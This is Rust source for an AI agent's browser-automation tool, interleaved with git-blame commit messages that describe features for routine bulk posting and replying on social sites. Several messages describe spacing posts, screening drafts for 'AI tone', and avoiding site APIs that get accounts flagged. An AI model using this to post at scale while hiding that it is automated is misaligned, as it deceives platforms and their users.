pub const SENT_LOG: &str = "browser_sent_log";
/// The page just before a step that may send: the box and its words, what it answers.
pub const SEND_INFO: &str = "browser_send_info";
/// The page just after: the words still in the box, seen on the page, the reply's address.
pub const SENT_CHECK: &str = "browser_sent_check";
pub fn is_tool(name: &str) -> bool {
NAMES.contains(&name)
}
pub fn label(name: &str) -> &'static str {
match name {
"browser_elements" => "列出網頁上的按鈕",
"browser_click" => "在瀏覽器點擊",
"browser_hover" => "在瀏覽器停在上面",
"browser_type" => "在瀏覽器輸入",
"browser_press" => "在瀏覽器按鍵",
"browser_select" => "在瀏覽器選擇",
"browser_scroll" => "捲動瀏覽器",
"browser_wait" => "等網頁載入",
"browser_find" => "在網頁上找字",
"browser_table" => "讀網頁表格",
"browser_screenshot" => "瀏覽器截圖",
"browser_tabs" => "瀏覽器分頁",
"browser_back" => "瀏覽器上一頁",
"browser_upload" => "上傳檔案到網頁",
"browser_download" => "從網頁下載",
"browser_pdf" => "把網頁存成 PDF",
"browser_dialog" => "處理網頁對話框",
"browser_eval" => "在網頁執行程式",
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
SENT_LOG => "查已送出的紀錄",
_ => "瀏覽器",
}
}
pub fn describe(name: &str, args: &str) -> String {
let v: Value = serde_json::from_str(args).unwrap_or(Value::Null);
let target = if !s(&v, "ref").is_empty() { format!("[{}]", s(&v, "ref")) } else { s(&v, "text") };
match name {
"browser_type" => format!("{target} ← {}", s(&v, "value").chars().take(40).collect::<String>()),
"browser_select" => format!("{target} → {}", s(&v, "option")),
"browser_press" => s(&v, "key"),
"browser_scroll" => if target.is_empty() { s(&v, "direction") } else { target },
"browser_wait" => if s(&v, "text").is_empty() { format!("{} 秒", s(&v, "seconds")) } else { format!("等「{}」", s(&v, "text")) },
"browser_find" => format!("「{}」", s(&v, "text")),
"browser_tabs" => format!("{} {}", s(&v, "action"), s(&v, "index")),
"browser_back" => s(&v, "direction"),
"browser_upload" => s(&v, "path"),
"browser_eval" => s(&v, "script").chars().take(60).collect(),
_ => target,
}
}
/// The one browser tool's name (H2: every browser action rides on it, like `computer`).
pub const TOOL: &str = "browser";
/// action -> the internal per-action tool it runs as. The internal names stay everywhere
/// downstream (approvals, oplog, the work log, remote limbs): the model only ever sees `browser`.
pub fn action_tool(action: &str) -> Option<&'static str> {
Some(match action {
"open" => "browser_open",
"read" => "browser_read",
"profiles" => "browser_profiles",
"elements" => "browser_elements",
"find" => "browser_find",
"table" => "browser_table",
"screenshot" => "browser_screenshot",
"click" => "browser_click",
"hover" => "browser_hover",
"type" => "browser_type",
"press" => "browser_press",
"select" => "browser_select",
"scroll" => "browser_scroll",
"wait" => "browser_wait",
"tabs" => "browser_tabs",
"back" => "browser_back",
"upload" => "browser_upload",
"download" => "browser_download",
"pdf" => "browser_pdf",
"dialog" => "browser_dialog",
"eval" => "browser_eval",
"fill" => "browser_fill_login", // the kind picks login/card/contact; see expand_call
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
"sent" => SENT_LOG,
_ => return None,
})
}
/// The one browser tool. One schema, trained-prior shapes (open/read/click/type…); the old
/// eighteen schemas' guidance lives in the action list below.
pub fn tool(profile: &Value) -> Value {
json!({
"name": TOOL,
"description": "Drive AnyBot's browser: one tool, picked by action. For anything on a web page use this, never screen coordinates. Start with open (it answers like read) or read, then act by the numbers (ref) or visible text the last result showed. Never act on a page from memory — use the numbers the latest result showed.
actions:
- open {url}: open a link in a new tab and report the page (title, address, text, numbered controls)
- read {max_chars}: read the current tab the same way (numbers for click/type/select)
- elements: just the numbered clickable/fillable controls (cheaper than read)
- find {text}: like Cmd-F: every place the text appears with words around it
- table {index, all, max_rows}: read the page's tables as Markdown (reports, product lists)
- screenshot {full, marks}: the page as a picture with numbered boxes on every control; needs no screen permission
- click {ref|text, double, button}: real mouse click (menus, date pickers, dropdowns, calendar days); buying/paying/sending/deleting needs the person's OK first
- hover {ref|text}: move over a control (opens hover menus) and report what appeared
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
- type {ref|text, value, append, submit}: puts the text into a field (clears first unless append); line breaks in value go in whole, like a paste — no clipboard or ctrl+v needed. The result says what the field holds now: check it before sending. Never type passwords here: use fill
- press {key}: Enter, Tab, Escape, ctrl+a, … (optionally on ref/text first)
- select {ref|text, option}: choose a dropdown option (custom dropdowns included)
- scroll {direction: down|up|top|bottom} (on ref/text brings it into view; loads endless lists)
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
- wait {text | seconds, after_send}: until text appears (≤20 s) or a few seconds; with after_send: true, until `seconds` (up to 900) have passed since you last sent something — to space posts, open and type the next one first, then wait, then send
- tabs {action: list|switch|new|close, index, url}: the tab strip
- back {direction: back|forward|reload}
- upload {ref|text, path}: put a file from this computer into a file chooser
- download {ref|text}: click a download/export button, save to Downloads/AnyBot, return the path
- pdf: save the page as a PDF in Downloads/AnyBot
- dialog {accept, text}: answer a pop-up dialog the page opened
- eval {script}: short read-only JavaScript for data the other actions can't reach; it can't send requests, navigate or submit (site APIs get accounts flagged)
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
- sent {profile, days}: what an account already sent through this browser — AnyBot's own record (which posts, which accounts it answered, kept 60 days); much cheaper than reading a site's own replies page to the end. Sending to a post the same account already answered is refused anyway
- fill {kind: login|card|contact, id, site, submit}: sign in / pay card / address from the person's 保險庫 — you never see the secret; the person approves every use (login_id/card_id/contact_id come from vault_list; default login: the current site's)",
"parameters": {"type": "object", "properties": {
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
"action": {"type": "string", "enum": ["open","read","elements","find","table","screenshot","click","hover","type","press","select","scroll","wait","tabs","back","upload","download","pdf","dialog","eval","sent","profiles","fill"]},
"url": {"type": "string"},
"max_chars": {"type": "integer", "description": "read: longest text to return (default 20000)"},
"text": {"type": "string", "description": "find/wait: the text; click/type/…: the control's visible text"},
"ref": {"type": "string", "description": "The element's number from the latest read/elements/screenshot result"},
"index": {"type": "integer", "description": "table: which table; tabs: which tab"},
"all": {"type": "boolean", "description": "table: every table"},
"max_rows": {"type": "integer"},
"full": {"type": "boolean", "description": "screenshot: the whole page"},
"marks": {"type": "boolean", "description": "screenshot: false for no number boxes"},
"double": {"type": "boolean", "description": "click: double-click"},
"button": {"type": "string", "enum": ["left", "right", "middle"]},
"value": {"type": "string", "description": "type: the text"},
"append": {"type": "boolean", "description": "type: keep what's in the field"},
"submit": {"type": "boolean", "description": "type/fill: press Enter / sign in afterwards"},
"key": {"type": "string", "description": "press: Enter, Tab, Escape, ctrl+a…"},
"option": {"type": "string", "description": "select: the option's visible text"},
"direction": {"type": "string", "enum": ["down", "up", "top", "bottom", "back", "forward", "reload"], "description": "scroll: down/up/top/bottom; back: back/forward/reload"},
"seconds": {"type": "number"},
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
"days": {"type": "integer", "description": "sent: how far back (default 30, up to 60)"},
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
"after_send": {"type": "boolean", "description": "wait: count `seconds` from the last thing you sent (spacing posts)"},
"path": {"type": "string", "description": "upload: a file on this computer"},
"accept": {"type": "boolean", "description": "dialog"},
"script": {"type": "string", "description": "eval: read-only JavaScript"},
"kind": {"type": "string", "enum": ["login", "card", "contact"], "description": "fill: what to fill"},
"id": {"type": "string", "description": "fill: the vault item's id from vault_list"},
"site": {"type": "string", "description": "fill login: domain (default: the current tab's)"},
"name": {"type": "string", "description": "profiles: name for add/use"},
"profile": profile
}, "required": ["action"]}
})
}
fix: Linux 操作恢復順暢——保險箱空的不給填入工具、同一個錯誤不再鬼打牆;Wayland 可一律允許、長網頁有編號、Enter 只看游標那格;做完就關掉瀏覽器 一台 Linux(Ubuntu 26.04、X11)上一輪 Threads 海巡 40 分鐘只送出 1 則:小模型一直誤叫保險箱填入(171 次),而 4b53ad4 之後回的是「沒有開著的分頁,請先 browser_open」,Bot 照做又再誤叫。 - 保險箱:只給有東西可填的種類(空的就沒有 vault 工具、browser 也沒有 fill);填入先查 id 在不在,錯誤講對、指向 type;規劃與填入都在這個任務自己的分頁上(本機、box、遠端手腳) - 同一個工具連續 3 次回一樣的錯誤(換參數也一樣):這一回合不再執行 - Wayland(GNOME/KDE,wlroots 的座標點擊)認不出 App 時,改給「操作這台電腦的螢幕」一律允許(一律允許清單裡可移除) - 元素樹走訪上限 4000 → 20000:長網頁捲下去,看得到的部分也有編號 - 敏感動作關卡:Enter/送出只看游標所在(或正在打字)的欄位;座標點擊只看點到的最內層控制項;英文整字比對(PayPal 不是 pay);步驟在別台電腦時不查大腦本機的編號 - 打字先點欄位再檢查最前面是不是 AnyBot;批次從 AnyBot 切到要操作的 App 不再中斷,切到第三個 App 或回到 AnyBot 才停 - 估算對話長度只算真的會送出的最新 3 張截圖 - 做完就關掉瀏覽器(設定 › 電腦 › AnyBot 瀏覽器設定檔,預設開):一輪結束關掉用過的 Firefox/Chrome,別的 Bot 還在用就只關自己的分頁;box 的 Chromium 不變 Mac 444、Linux 448 個測試通過;Firefox 收尾實機測試(Mac、Linux Snap 版)通過;已在那台 Linux 上部署驗證。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 08:21:32 +00:00
/// The `fill` action names only the kinds the vault can fill (`kinds`); with none, the browser
/// tool has no `fill` at all — no action, no line in its description, no fill-only fields.
pub fn limit_fill(specs: &mut [Value], kinds: &[&str]) {
for t in specs.iter_mut().filter(|t| t["name"] == TOOL) {
if kinds.is_empty() {
let d = t["description"].as_str().unwrap_or("").lines().filter(|l| !l.starts_with("- fill ")).collect::<Vec<_>>().join("\n");
t["description"] = json!(d);
let p = &mut t["parameters"]["properties"];
if let Some(a) = p["action"]["enum"].as_array_mut() {
a.retain(|x| x != "fill");
}
if let Some(o) = p.as_object_mut() {
for k in ["kind", "id", "site"] {
o.remove(k);
}
}
if let Some(s) = p["submit"]["description"].as_str().map(|s| s.replace("type/fill", "type")) {
p["submit"]["description"] = json!(s);
}
} else {
t["parameters"]["properties"]["kind"]["enum"] = json!(kinds);
}
}
}
/// Expand one `browser` call into the internal per-action tool at the model-output boundary,
/// so every guard downstream (approvals incl. the vault's, oplog, replay, the remote link, the
/// work log) keeps its stable per-action name.
pub fn expand_call(c: &mut crate::model::ToolCall) {
if c.name != TOOL {
return;
}
let mut v = crate::tools::args_of(&c.args);
let Some(action) = v["action"].as_str().and_then(action_tool) else { return };
let mut name = action.to_string();
if let Some(o) = v.as_object_mut() {
o.remove("action");
if name == "browser_fill_login" {
// fill {kind, id} names the exact vault tool and its id field.
let kind = o.remove("kind").and_then(|k| k.as_str().map(|s| s.to_string())).unwrap_or_else(|| "login".into());
let id = o.remove("id");
name = match kind.as_str() {
"card" => {
if let Some(id) = id {
o.insert("card_id".to_string(), id);
}
"browser_fill_card"
}
"contact" => {
if let Some(id) = id {
o.insert("contact_id".to_string(), id);
}
"browser_fill_contact"
}
_ => {
if let Some(id) = id {
o.insert("login_id".to_string(), id);
}
"browser_fill_login"
}
}
.to_string();
}
}
c.name = name;
c.args = v.to_string();
}
fn downloads_dir() -> std::path::PathBuf {
let d = dirs::download_dir().unwrap_or_else(std::env::temp_dir).join("AnyBot");
let _ = std::fs::create_dir_all(&d);
d
}
/// Run one browser tool. Returns (text for the bot, a JPEG as base64 when it took a picture).
pub fn run(name: &str, args: &Value) -> Result<(String, Option<String>), String> {
let profile = Some(s(args, "profile")).filter(|p| !p.is_empty());
let profile = profile.as_deref();
let (rf, text) = (s(args, "ref"), s(args, "text"));
match name {
"browser_tabs" => return tabs(args, profile).map(|t| (t, None)),
"browser_wait" if s(args, "text").is_empty() => {
let secs = args["seconds"].as_f64().unwrap_or(2.0).clamp(0.2, 30.0);
settle((secs * 1000.0) as u64);
return Ok((format!("已等 {secs} 秒。"), None));
}
_ => {}
}
let mut tab = Tab::current(profile)?;
let r = (|| -> Result<(String, Option<String>), String> {
match name {
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
SEND_INFO => {
let mode = s(args, "mode");
let mut p = send_info(&mut tab, &mode, &rf, &text)?;
// Typing with submit: the words are the ones about to be typed.
if mode == "type" {
let value = args["value"].as_str().unwrap_or("");
let now = p["text"].as_str().unwrap_or("").to_string();
p["text"] = json!(if args["append"].as_bool().unwrap_or(false) { format!("{now}{value}") } else { value.to_string() });
}
p["profile"] = json!(botbrowser::resolve(profile).unwrap_or_default());
Ok((p.to_string(), None))
}
SENT_CHECK => Ok((sent_check(&mut tab, args["excerpt"].as_str().unwrap_or(""), &args["links"], args["target"].as_str().unwrap_or("")).to_string(), None)),
"browser_elements" => {
let (title, url, list, more) = elements(&mut tab)?;
Ok((format!("標題:{title}\n網址:{url}\n\n{}{}", list.join("\n"), if more { "\n…還有更多(捲動後再列一次)" } else { "" }), None))
}
"browser_click" | "browser_hover" => {
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
let sig = page_sig(&mut tab);
let before = snapshot(&mut tab);
let (x, y, what) = locate(&mut tab, &rf, &text)?;
settle(150);
if name == "browser_hover" {
// Travel onto it (a jump straight there can skip the hover handlers).
mouse(&mut tab, "mouseMoved", x - 40.0, y - 20.0, "none", 0)?;
settle(60);
mouse(&mut tab, "mouseMoved", x - 10.0, y - 4.0, "none", 0)?;
settle(60);
mouse(&mut tab, "mouseMoved", x, y, "none", 0)?;
// Chrome may not update hover for a window that isn't in front: fire the
// hover events on the element too.
tab.eval(&format!("(() => {{ const el = {}; if (!el) return 0; const r = el.getBoundingClientRect(); const o = {{bubbles: true, cancelable: true, view: window, clientX: r.left + r.width / 2, clientY: r.top + r.height / 2}}; for (const t of ['pointerover', 'pointerenter', 'mouseover', 'mouseenter', 'pointermove', 'mousemove']) el.dispatchEvent(new (t.startsWith('pointer') ? PointerEvent : MouseEvent)(t, o)); return 1; }})()", find_js(&rf, &text)))?;
} else {
let button = match s(args, "button").as_str() {
"right" => "right",
"middle" => "middle",
_ => "left",
};
click_at(&mut tab, x, y, button, if args["double"].as_bool().unwrap_or(false) { 2 } else { 1 })?;
}
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing 